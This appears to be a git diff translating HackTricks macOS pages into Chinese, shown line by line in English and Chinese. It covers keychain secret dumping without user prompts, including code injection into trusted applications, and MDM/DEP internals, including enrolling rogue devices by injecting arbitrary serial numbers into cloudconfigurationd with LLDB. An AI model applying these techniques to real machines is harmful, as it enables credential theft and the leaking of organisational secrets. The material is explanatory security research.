> **密钥链枚举和秘密转储**可以使用工具 [**LockSmith**](https://github.com/its-a-feature/LockSmith) 完成,这不会生成提示。
>
> Other API endpoints can be found in [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) source code.
> 其他 API 端点可以在 [**SecKeyChain.h**](https://opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-55017/lib/SecKeychain.h.auto.html) 源代码中找到。
List and get **info** about each keychain entry using the **Security Framework** or you could also check the Apple's open source cli tool [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**.** Some API examples:
使用 **Security Framework** 列出并获取每个密钥链条目的 **信息**,或者您也可以检查苹果的开源 CLI 工具 [**security**](https://opensource.apple.com/source/Security/Security-59306.61.1/SecurityTool/macOS/security.c.auto.html)**。** 一些 API 示例:
- The API **`SecItemCopyMatching`** gives info about each entry and there are some attributes you can set when using it:
- **`kSecReturnData`**: If true, it will try to decrypt the data (set to false to avoid potential pop-ups)
- **`kSecReturnRef`**: Get also reference to keychain item (set to true in case later you see you can decrypt without pop-up)
- **`kSecReturnAttributes`**: Get metadata about entries
- **`kSecMatchLimit`**: How many results to return
- **`kSecClass`**: What kind of keychain entry
- API **`SecItemCopyMatching`** 提供有关每个条目的信息,并且在使用时可以设置一些属性:
- **`kSecReturnData`**:如果为真,它将尝试解密数据(设置为假以避免潜在的弹出窗口)
- **`kSecReturnRef`**:还获取密钥链项的引用(如果稍后您看到可以在没有弹出窗口的情况下解密,则设置为真)
- **`kSecReturnAttributes`**:获取条目的元数据
- **`kSecMatchLimit`**:返回多少结果
- **`kSecClass`**:什么类型的密钥链条目
Get **ACLs** of each entry:
获取每个条目的 **ACL**
- With the API **`SecAccessCopyACLList`** you can get the **ACL for the keychain item**, and it will return a list of ACLs (like `ACLAuhtorizationExportClear` and the others previously mentioned) where each list has:
- Description
- **Trusted Application List**. This could be:
- An app: /Applications/Slack.app
- A binary: /usr/libexec/airportd
- A group: group://AirPort
- 使用 API **`SecAccessCopyACLList`**,您可以获取 **密钥链项的 ACL**,它将返回一个 ACL 列表(如 `ACLAuhtorizationExportClear` 和之前提到的其他项),每个列表包含:
- 描述
- **受信任的应用程序列表**。这可以是:
- 应用程序:/Applications/Slack.app
- 二进制文件:/usr/libexec/airportd
- 组:group://AirPort
Export the data:
导出数据:
- The API **`SecKeychainItemCopyContent`** gets the plaintext
- The API **`SecItemExport`** exports the keys and certificates but might have to set passwords to export the content encrypted
- API **`SecKeychainItemCopyContent`** 获取明文
- API **`SecItemExport`** 导出密钥和证书,但可能需要设置密码以加密导出内容
And these are the **requirements** to be able to **export a secret without a prompt**:
这些是能够 **在没有提示的情况下导出秘密****要求**
- If **1+ trusted** apps listed:
- Need the appropriate **authorizations** (**`Nil`**, or be **part** of the allowed list of apps in the authorization to access the secret info)
- Need code signature to match **PartitionID**
- Need code signature to match that of one **trusted app** (or be a member of the right KeychainAccessGroup)
- If **all applications trusted**:
- Need the appropriate **authorizations**
- Need code signature to match **PartitionID**
- If **no PartitionID**, then this isn't needed
- 如果 **1+ 个受信任** 应用程序列出:
- 需要适当的 **授权****`Nil`**,或是 **允许** 访问秘密信息的应用程序列表的一部分)
- 需要代码签名与 **PartitionID** 匹配
- 需要代码签名与一个 **受信任的应用程序** 的匹配(或是正确的 KeychainAccessGroup 的成员)
- 如果 **所有应用程序受信任**
- 需要适当的 **授权**
- 需要代码签名与 **PartitionID** 匹配
- 如果 **没有 PartitionID**,则不需要
> [!CAUTION]
> Therefore, if there is **1 application listed**, you need to **inject code in that application**.
> 因此,如果列出了 **1 个应用程序**,您需要 **在该应用程序中注入代码**
>
> If **apple** is indicated in the **partitionID**, you could access it with **`osascript`** so anything that is trusting all applications with apple in the partitionID. **`Python`** could also be used for this.
> 如果 **apple****partitionID** 中被指示,您可以使用 **`osascript`** 访问它,因此任何信任所有应用程序且在 partitionID 中包含 apple 的内容。**`Python`** 也可以用于此。
### Two additional attributes
### 两个额外属性
- **Invisible**: It's a boolean flag to **hide** the entry from the **UI** Keychain app
- **General**: It's to store **metadata** (so it's NOT ENCRYPTED)
- Microsoft was storing in plain text all the refresh tokens to access sensitive endpoint.
- **Invisible**:这是一个布尔标志,用于 **隐藏** 密钥链应用程序中的条目
- **General**:用于存储 **元数据**(因此它不是加密的)
- 微软以明文存储所有访问敏感端点的刷新令牌。
## References

View File

@ -2,199 +2,199 @@
{{#include ../../../banners/hacktricks-training.md}}
**To learn about macOS MDMs check:**
**要了解 macOS MDM请查看**
- [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)
- [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)
## Basics
## 基础知识
### **MDM (Mobile Device Management) Overview**
### **MDM(移动设备管理)概述**
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) is utilized for overseeing various end-user devices like smartphones, laptops, and tablets. Particularly for Apple's platforms (iOS, macOS, tvOS), it involves a set of specialized features, APIs, and practices. The operation of MDM hinges on a compatible MDM server, which is either commercially available or open-source, and must support the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Key points include:
[移动设备管理](https://en.wikipedia.org/wiki/Mobile_device_management)MDM用于管理各种终端用户设备如智能手机、笔记本电脑和平板电脑。特别是对于苹果的平台iOS、macOS、tvOS它涉及一套专门的功能、API 和实践。MDM 的操作依赖于一个兼容的 MDM 服务器,该服务器可以是商业可用的或开源的,并且必须支持 [MDM 协议](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。关键点包括:
- Centralized control over devices.
- Dependence on an MDM server that adheres to the MDM protocol.
- Capability of the MDM server to dispatch various commands to devices, for instance, remote data erasure or configuration installation.
- 对设备的集中控制。
- 依赖于遵循 MDM 协议的 MDM 服务器。
- MDM 服务器能够向设备发送各种命令,例如远程数据擦除或配置安装。
### **Basics of DEP (Device Enrollment Program)**
### **DEP设备注册计划基础知识**
The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) offered by Apple streamlines the integration of Mobile Device Management (MDM) by facilitating zero-touch configuration for iOS, macOS, and tvOS devices. DEP automates the enrollment process, allowing devices to be operational right out of the box, with minimal user or administrative intervention. Essential aspects include:
苹果提供的 [设备注册计划](https://www.apple.com/business/site/docs/DEP_Guide.pdf)DEP通过为 iOS、macOS 和 tvOS 设备提供零接触配置简化了移动设备管理MDM的集成。DEP 自动化注册过程,使设备在开箱即用时即可操作,最小化用户或管理干预。基本方面包括:
- Enables devices to autonomously register with a pre-defined MDM server upon initial activation.
- Primarily beneficial for brand-new devices, but also applicable for devices undergoing reconfiguration.
- Facilitates a straightforward setup, making devices ready for organizational use swiftly.
- 使设备在首次激活时能够自动注册到预定义的 MDM 服务器。
- 主要对全新设备有利,但也适用于正在重新配置的设备。
- 促进简单的设置,使设备迅速准备好用于组织。
### **Security Consideration**
### **安全考虑**
It's crucial to note that the ease of enrollment provided by DEP, while beneficial, can also pose security risks. If protective measures are not adequately enforced for MDM enrollment, attackers might exploit this streamlined process to register their device on the organization's MDM server, masquerading as a corporate device.
需要注意的是DEP 提供的注册便利性虽然有利,但也可能带来安全风险。如果没有充分执行保护措施,攻击者可能利用这一简化过程在组织的 MDM 服务器上注册他们的设备,伪装成企业设备。
> [!CAUTION]
> **Security Alert**: Simplified DEP enrollment could potentially allow unauthorized device registration on the organization's MDM server if proper safeguards are not in place.
> **安全警报**:如果没有适当的保护措施,简化的 DEP 注册可能允许未经授权的设备在组织的 MDM 服务器上注册。
### Basics What is SCEP (Simple Certificate Enrolment Protocol)?
### 基础知识 什么是 SCEP简单证书注册协议
- A relatively old protocol, created before TLS and HTTPS were widespread.
- Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate.
- 一种相对较旧的协议,创建于 TLS 和 HTTPS 广泛使用之前。
- 为客户端提供了一种标准化的方式来发送 **证书签名请求**CSR以获得证书。客户端将请求服务器为其提供签名证书。
### What are Configuration Profiles (aka mobileconfigs)?
### 什么是配置文件(即 mobileconfigs
- Apples official way of **setting/enforcing system configuration.**
- File format that can contain multiple payloads.
- Based on property lists (the XML kind).
- “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018.
- 苹果官方的 **设置/强制系统配置** 的方式。
- 可以包含多个有效负载的文件格式。
- 基于属性列表XML 类型)。
- “可以被签名和加密以验证其来源,确保其完整性,并保护其内容。” 基础知识 — 第 70 页iOS 安全指南2018 年 1 月。
## Protocols
## 协议
### MDM
- Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers)
- **Communication** occurs between a **device** and a server associated with a **device** **management** **product**
- **Commands** delivered from the MDM to the device in **plist-encoded dictionaries**
- All over **HTTPS**. MDM servers can be (and are usually) pinned.
- Apple grants the MDM vendor an **APNs certificate** for authentication
- APNs**苹果服务器**+ RESTful API**MDM** **供应商**服务器)的组合
- **通信**发生在 **设备** 和与 **设备管理** **产品** 相关的服务器之间
- **命令**以 **plist 编码字典** 的形式从 MDM 发送到设备
- 所有通信通过 **HTTPS**。MDM 服务器可以(并且通常会)进行固定。
- 苹果向 MDM 供应商授予 **APNs 证书** 以进行身份验证
### DEP
- **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented):
- The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices.
- The [DEP API used by Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) to enroll devices, check enrollment status, and check transaction status.
- The undocumented private DEP API. This is used by Apple Devices to request their DEP profile. On macOS, the `cloudconfigurationd` binary is responsible for communicating over this API.
- More modern and **JSON** based (vs. plist)
- Apple grants an **OAuth token** to the MDM vendor
- **3 个 API**1 个用于经销商1 个用于 MDM 供应商1 个用于设备身份(未记录):
- 所谓的 [DEP "云服务" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。MDM 服务器使用此 API 将 DEP 配置文件与特定设备关联。
- [苹果授权经销商使用的 DEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html),用于注册设备、检查注册状态和检查交易状态。
- 未记录的私有 DEP API。苹果设备使用此 API 请求其 DEP 配置文件。在 macOS 上,`cloudconfigurationd` 二进制文件负责通过此 API 进行通信。
- 更现代且基于 **JSON**(与 plist 相比)
- 苹果向 MDM 供应商授予 **OAuth 令牌**
**DEP "cloud service" API**
**DEP "云服务" API**
- RESTful
- sync device records from Apple to the MDM server
- sync “DEP profiles” to Apple from the MDM server (delivered by Apple to the device later on)
- A DEP “profile” contains:
- MDM vendor server URL
- Additional trusted certificates for server URL (optional pinning)
- Extra settings (e.g. which screens to skip in Setup Assistant)
- 从苹果同步设备记录到 MDM 服务器
- 从 MDM 服务器同步“DEP 配置文件”到苹果(稍后由苹果传递给设备)
- 一个 DEP “配置文件”包含:
- MDM 供应商服务器 URL
- 服务器 URL 的附加受信任证书(可选固定)
- 额外设置(例如,跳过设置助手中的哪些屏幕)
## Serial Number
## 序列号
Apple devices manufactured after 2010 generally have **12-character alphanumeric** serial numbers, with the **first three digits representing the manufacturing location**, the following **two** indicating the **year** and **week** of manufacture, the next **three** digits providing a **unique** **identifier**, and the **last** **four** digits representing the **model number**.
2010 年后制造的苹果设备通常具有 **12 个字符的字母数字** 序列号,**前三个数字表示制造地点**,接下来的 **两个** 表示 **制造的年份****周数**,接下来的 **三个** 数字提供一个 **唯一的** **标识符**,最后 **四个** 数字表示 **型号**
{{#ref}}
macos-serial-number.md
{{#endref}}
## Steps for enrolment and management
## 注册和管理步骤
1. Device record creation (Reseller, Apple): The record for the new device is created
2. Device record assignment (Customer): The device is assigned to a MDM server
3. Device record sync (MDM vendor): MDM sync the device records and push the DEP profiles to Apple
4. DEP check-in (Device): Device gets his DEP profile
5. Profile retrieval (Device)
6. Profile installation (Device) a. incl. MDM, SCEP and root CA payloads
7. MDM command issuance (Device)
1. 设备记录创建(经销商,苹果):为新设备创建记录
2. 设备记录分配(客户):将设备分配给 MDM 服务器
3. 设备记录同步MDM 供应商MDM 同步设备记录并将 DEP 配置文件推送到苹果
4. DEP 签到(设备):设备获取其 DEP 配置文件
5. 配置文件检索(设备)
6. 配置文件安装(设备) a. 包括 MDM、SCEP 和根 CA 有效负载
7. MDM 命令发布(设备)
![](<../../../images/image (694).png>)
The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process.
文件 `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` 导出可以被视为 **高层次的“步骤”** 的注册过程的函数。
### Step 4: DEP check-in - Getting the Activation Record
### 第 4 步DEP 签到 - 获取激活记录
This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe)
该过程发生在 **用户首次启动 Mac 时**(或在完全擦除后)
![](<../../../images/image (1044).png>)
or when executing `sudo profiles show -type enrollment`
或在执行 `sudo profiles show -type enrollment`
- Determine **whether device is DEP enabled**
- Activation Record is the internal name for **DEP “profile”**
- Begins as soon as the device is connected to Internet
- Driven by **`CPFetchActivationRecord`**
- Implemented by **`cloudconfigurationd`** via XPC. The **"Setup Assistant**" (when the device is firstly booted) or the **`profiles`** command will **contact this daemon** to retrieve the activation record.
- LaunchDaemon (always runs as root)
- 确定 **设备是否启用 DEP**
- 激活记录是 **DEP “配置文件”** 的内部名称
- 一旦设备连接到互联网就开始
- **`CPFetchActivationRecord`** 驱动
- 通过 XPC 由 **`cloudconfigurationd`** 实现。**“设置助手”**(当设备首次启动时)或 **`profiles`** 命令将 **联系此守护进程** 以检索激活记录。
- LaunchDaemon始终以 root 身份运行)
It follows a few steps to get the Activation Record performed by **`MCTeslaConfigurationFetcher`**. This process uses an encryption called **Absinthe**
它遵循几个步骤来获取激活记录,由 **`MCTeslaConfigurationFetcher`** 执行。此过程使用一种称为 **Absinthe** 的加密
1. Retrieve **certificate**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
2. **Initialize** state from certificate (**`NACInit`**)
1. Uses various device-specific data (i.e. **Serial Number via `IOKit`**)
3. Retrieve **session key**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. Establish the session (**`NACKeyEstablishment`**)
5. Make the request
1. POST to [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) sending the data `{ "action": "RequestProfileConfiguration", "sn": "" }`
2. The JSON payload is encrypted using Absinthe (**`NACSign`**)
3. All requests over HTTPs, built-in root certificates are used
1. 检索 **证书**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
2. **初始化** 状态来自证书(**`NACInit`**
1. 使用各种设备特定数据(即 **通过 `IOKit` 的序列号**
3. 检索 **会话密钥**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. 建立会话(**`NACKeyEstablishment`**
5. 发出请求
1. POST 到 [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile),发送数据 `{ "action": "RequestProfileConfiguration", "sn": "" }`
2. JSON 有效负载使用 Absinthe 加密(**`NACSign`**
3. 所有请求通过 HTTPs使用内置根证书
![](<../../../images/image (566) (1).png>)
The response is a JSON dictionary with some important data like:
响应是一个 JSON 字典,包含一些重要数据,如:
- **url**: URL of the MDM vendor host for the activation profile
- **anchor-certs**: Array of DER certificates used as trusted anchors
- **url**:激活配置文件的 MDM 供应商主机的 URL
- **anchor-certs**:用作受信任锚的 DER 证书数组
### **Step 5: Profile Retrieval**
### **第 5 步:配置文件检索**
![](<../../../images/image (444).png>)
- Request sent to **url provided in DEP profile**.
- **Anchor certificates** are used to **evaluate trust** if provided.
- Reminder: the **anchor_certs** property of the DEP profile
- **Request is a simple .plist** with device identification
- Examples: **UDID, OS version**.
- CMS-signed, DER-encoded
- Signed using the **device identity certificate (from APNS)**
- **Certificate chain** includes expired **Apple iPhone Device CA**
- 请求发送到 **DEP 配置文件中提供的 URL**
- **锚证书** 用于 **评估信任**(如果提供)。
- 提醒:**DEP 配置文件的 anchor_certs 属性**
- **请求是一个简单的 .plist**,包含设备识别信息
- 示例:**UDID、操作系统版本**。
- CMS 签名DER 编码
- 使用 **设备身份证书(来自 APNS** 签名
- **证书链** 包括过期的 **Apple iPhone Device CA**
![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
### Step 6: Profile Installation
### 第 6 步:配置文件安装
- Once retrieved, **profile is stored on the system**
- This step begins automatically (if in **setup assistant**)
- Driven by **`CPInstallActivationProfile`**
- Implemented by mdmclient over XPC
- LaunchDaemon (as root) or LaunchAgent (as user), depending on context
- Configuration profiles have multiple payloads to install
- Framework has a plugin-based architecture for installing profiles
- Each payload type is associated with a plugin
- Can be XPC (in framework) or classic Cocoa (in ManagedClient.app)
- Example:
- Certificate Payloads use CertificateService.xpc
- 一旦检索到,**配置文件将存储在系统上**
- 此步骤自动开始(如果在 **设置助手** 中)
- **`CPInstallActivationProfile`** 驱动
- 通过 mdmclient 通过 XPC 实现
- LaunchDaemon以 root 身份)或 LaunchAgent以用户身份具体取决于上下文
- 配置文件有多个有效负载需要安装
- 框架具有基于插件的架构来安装配置文件
- 每种有效负载类型与一个插件相关联
- 可以是 XPC在框架中或经典 Cocoa在 ManagedClient.app 中)
- 示例:
- 证书有效负载使用 CertificateService.xpc
Typically, **activation profile** provided by an MDM vendor will **include the following payloads**:
通常MDM 供应商提供的 **激活配置文件****包括以下有效负载**
- `com.apple.mdm`: to **enroll** the device in MDM
- `com.apple.security.scep`: to securely provide a **client certificate** to the device.
- `com.apple.security.pem`: to **install trusted CA certificates** to the devices System Keychain.
- Installing the MDM payload equivalent to **MDM check-in in the documentation**
- Payload **contains key properties**:
- - MDM Check-In URL (**`CheckInURL`**)
- MDM Command Polling URL (**`ServerURL`**) + APNs topic to trigger it
- To install MDM payload, request is sent to **`CheckInURL`**
- Implemented in **`mdmclient`**
- MDM payload can depend on other payloads
- Allows **requests to be pinned to specific certificates**:
- Property: **`CheckInURLPinningCertificateUUIDs`**
- Property: **`ServerURLPinningCertificateUUIDs`**
- Delivered via PEM payload
- Allows device to be attributed with an identity certificate:
- Property: IdentityCertificateUUID
- Delivered via SCEP payload
- `com.apple.mdm`:用于 **注册** 设备到 MDM
- `com.apple.security.scep`:安全地向设备提供 **客户端证书**
- `com.apple.security.pem`:向设备的系统钥匙串 **安装受信任的 CA 证书**
- 安装 MDM 有效负载相当于文档中的 **MDM 签到**
- 有效负载 **包含关键属性**
- - MDM 签到 URL**`CheckInURL`**
- MDM 命令轮询 URL**`ServerURL`** + 触发它的 APNs 主题
- 要安装 MDM 有效负载,请向 **`CheckInURL`** 发送请求
- **`mdmclient`** 中实现
- MDM 有效负载可以依赖于其他有效负载
- 允许 **请求固定到特定证书**
- 属性:**`CheckInURLPinningCertificateUUIDs`**
- 属性:**`ServerURLPinningCertificateUUIDs`**
- 通过 PEM 有效负载传递
- 允许设备被赋予身份证书:
- 属性:IdentityCertificateUUID
- 通过 SCEP 有效负载传递
### **Step 7: Listening for MDM commands**
### **第 7 步:监听 MDM 命令**
- After MDM check-in is complete, vendor can **issue push notifications using APNs**
- Upon receipt, handled by **`mdmclient`**
- To poll for MDM commands, request is sent to ServerURL
- Makes use of previously installed MDM payload:
- **`ServerURLPinningCertificateUUIDs`** for pinning request
- **`IdentityCertificateUUID`** for TLS client certificate
- 在 MDM 签到完成后,供应商可以 **使用 APNs 发布推送通知**
- 收到后,由 **`mdmclient`** 处理
- 要轮询 MDM 命令,请向 ServerURL 发送请求
- 利用先前安装的 MDM 有效负载:
- **`ServerURLPinningCertificateUUIDs`** 用于固定请求
- **`IdentityCertificateUUID`** 用于 TLS 客户端证书
## Attacks
## 攻击
### Enrolling Devices in Other Organisations
### 在其他组织中注册设备
As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected:
如前所述,为了尝试将设备注册到一个组织 **只需要该组织的序列号**。一旦设备注册多个组织将会在新设备上安装敏感数据证书、应用程序、WiFi 密码、VPN 配置 [等等](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)\
因此,如果注册过程没有得到正确保护,这可能成为攻击者的一个危险入口点:
{{#ref}}
enrolling-devices-in-other-organisations.md

View File

@ -1,53 +1,53 @@
# Enrolling Devices in Other Organisations
# 在其他组织中注册设备
{{#include ../../../banners/hacktricks-training.md}}
## Intro
## 介绍
As [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected.
正如[**之前提到的**](./#what-is-mdm-mobile-device-management)****为了尝试将设备注册到一个组织中**只需要该组织的序列号**。一旦设备注册多个组织将会在新设备上安装敏感数据证书、应用程序、WiFi 密码、VPN 配置[等等](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)\
因此,如果注册过程没有得到正确保护,这可能成为攻击者的危险入口。
**The following is a summary of the research [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Check it for further technical details!**
**以下是研究的摘要[https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)。请查看以获取更多技术细节!**
## Overview of DEP and MDM Binary Analysis
## DEP 和 MDM 二进制分析概述
This research delves into the binaries associated with the Device Enrollment Program (DEP) and Mobile Device Management (MDM) on macOS. Key components include:
本研究深入探讨了与 macOS 上的设备注册程序DEP和移动设备管理MDM相关的二进制文件。关键组件包括
- **`mdmclient`**: Communicates with MDM servers and triggers DEP check-ins on macOS versions before 10.13.4.
- **`profiles`**: Manages Configuration Profiles, and triggers DEP check-ins on macOS versions 10.13.4 and later.
- **`cloudconfigurationd`**: Manages DEP API communications and retrieves Device Enrollment profiles.
- **`mdmclient`**:与 MDM 服务器通信,并在 macOS 10.13.4 之前的版本上触发 DEP 检查。
- **`profiles`**:管理配置文件,并在 macOS 10.13.4 及更高版本上触发 DEP 检查。
- **`cloudconfigurationd`**:管理 DEP API 通信并检索设备注册配置文件。
DEP check-ins utilize the `CPFetchActivationRecord` and `CPGetActivationRecord` functions from the private Configuration Profiles framework to fetch the Activation Record, with `CPFetchActivationRecord` coordinating with `cloudconfigurationd` through XPC.
DEP 检查利用私有配置文件框架中的 `CPFetchActivationRecord``CPGetActivationRecord` 函数来获取激活记录,`CPFetchActivationRecord` 通过 XPC 与 `cloudconfigurationd` 协调。
## Tesla Protocol and Absinthe Scheme Reverse Engineering
## 特斯拉协议和 Absinthe 方案逆向工程
The DEP check-in involves `cloudconfigurationd` sending an encrypted, signed JSON payload to _iprofiles.apple.com/macProfile_. The payload includes the device's serial number and the action "RequestProfileConfiguration". The encryption scheme used is referred to internally as "Absinthe". Unraveling this scheme is complex and involves numerous steps, which led to exploring alternative methods for inserting arbitrary serial numbers in the Activation Record request.
DEP 检查涉及 `cloudconfigurationd`_iprofiles.apple.com/macProfile_ 发送加密的签名 JSON 负载。负载包括设备的序列号和操作 "RequestProfileConfiguration"。所使用的加密方案在内部称为 "Absinthe"。解开这个方案是复杂的,涉及多个步骤,这导致探索替代方法以在激活记录请求中插入任意序列号。
## Proxying DEP Requests
## 代理 DEP 请求
Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using tools like Charles Proxy were hindered by payload encryption and SSL/TLS security measures. However, enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration allows bypassing the server certificate validation, although the payload's encrypted nature still prevents modification of the serial number without the decryption key.
使用 Charles Proxy 等工具拦截和修改对 _iprofiles.apple.com_ 的 DEP 请求的尝试受到负载加密和 SSL/TLS 安全措施的阻碍。然而,启用 `MCCloudConfigAcceptAnyHTTPSCertificate` 配置可以绕过服务器证书验证,尽管负载的加密性质仍然阻止在没有解密密钥的情况下修改序列号。
## Instrumenting System Binaries Interacting with DEP
## 对与 DEP 交互的系统二进制文件进行插桩
Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing.
对系统二进制文件如 `cloudconfigurationd` 进行插桩需要在 macOS 上禁用系统完整性保护SIP。禁用 SIP 后,可以使用 LLDB 等工具附加到系统进程,并可能修改在 DEP API 交互中使用的序列号。这种方法更可取,因为它避免了权限和代码签名的复杂性。
**Exploiting Binary Instrumentation:**
Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved:
**利用二进制插桩:**
`cloudconfigurationd` 中 JSON 序列化之前修改 DEP 请求负载被证明是有效的。该过程涉及:
1. Attaching LLDB to `cloudconfigurationd`.
2. Locating the point where the system serial number is fetched.
3. Injecting an arbitrary serial number into the memory before the payload is encrypted and sent.
1. 将 LLDB 附加到 `cloudconfigurationd`
2. 找到获取系统序列号的点。
3. 在负载被加密并发送之前,将任意序列号注入内存中。
This method allowed for retrieving complete DEP profiles for arbitrary serial numbers, demonstrating a potential vulnerability.
这种方法允许检索任意序列号的完整 DEP 配置文件,展示了潜在的漏洞。
### Automating Instrumentation with Python
### 使用 Python 自动化插桩
The exploitation process was automated using Python with the LLDB API, making it feasible to programmatically inject arbitrary serial numbers and retrieve corresponding DEP profiles.
利用 Python 和 LLDB API 自动化了利用过程,使得可以以编程方式注入任意序列号并检索相应的 DEP 配置文件。
### Potential Impacts of DEP and MDM Vulnerabilities
### DEP 和 MDM 漏洞的潜在影响
The research highlighted significant security concerns:
研究突出了重大的安全隐患:
1. **Information Disclosure**: By providing a DEP-registered serial number, sensitive organizational information contained in the DEP profile can be retrieved.
1. **信息泄露**:通过提供一个 DEP 注册的序列号,可以检索 DEP 配置文件中包含的敏感组织信息。
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,40 +1,40 @@
# macOS Serial Number
# macOS 序列号
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
Apple devices post-2010 have serial numbers consisting of **12 alphanumeric characters**, each segment conveying specific information:
2010年后发布的Apple设备的序列号由**12个字母数字字符**组成,每个部分传达特定信息:
- **First 3 Characters**: Indicate the **manufacturing location**.
- **Characters 4 & 5**: Denote the **year and week of manufacture**.
- **Characters 6 to 8**: Serve as a **unique identifier** for each device.
- **Last 4 Characters**: Specify the **model number**.
- **前三个字符**:指示**制造地点**。
- **第4和第5个字符**:表示**制造年份和周数**。
- **第6到第8个字符**:作为每个设备的**唯一标识符**。
- **最后4个字符**:指定**型号**。
For instance, the serial number **C02L13ECF8J2** follows this structure.
例如,序列号**C02L13ECF8J2**遵循此结构。
### **Manufacturing Locations (First 3 Characters)**
### **制造地点(前三个字符)**
Certain codes represent specific factories:
某些代码代表特定工厂:
- **FC, F, XA/XB/QP/G8**: Various locations in the USA.
- **RN**: Mexico.
- **CK**: Cork, Ireland.
- **VM**: Foxconn, Czech Republic.
- **SG/E**: Singapore.
- **MB**: Malaysia.
- **PT/CY**: Korea.
- **EE/QT/UV**: Taiwan.
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Different locations in China.
- **C0, C3, C7**: Specific cities in China.
- **RM**: Refurbished devices.
- **FC, F, XA/XB/QP/G8**:美国的多个地点。
- **RN**:墨西哥。
- **CK**:爱尔兰科克。
- **VM**:捷克共和国富士康。
- **SG/E**:新加坡。
- **MB**:马来西亚。
- **PT/CY**:韩国。
- **EE/QT/UV**:台湾。
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**:中国的不同地点。
- **C0, C3, C7**:中国的特定城市。
- **RM**:翻新设备。
### **Year of Manufacturing (4th Character)**
### **制造年份第4个字符**
This character varies from 'C' (representing the first half of 2010) to 'Z' (second half of 2019), with different letters indicating different half-year periods.
该字符从'C'代表2010年上半年到'Z'2019年下半年变化不同字母表示不同的半年时期。
### **Week of Manufacturing (5th Character)**
### **制造周数第5个字符**
Digits 1-9 correspond to weeks 1-9. Letters C-Y (excluding vowels and 'S') represent weeks 10-27. For the second half of the year, 26 is added to this number.
数字1-9对应于第1-9周。字母C-Y不包括元音和'S'代表第10-27周。对于下半年该数字加上26。
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,33 +1,18 @@
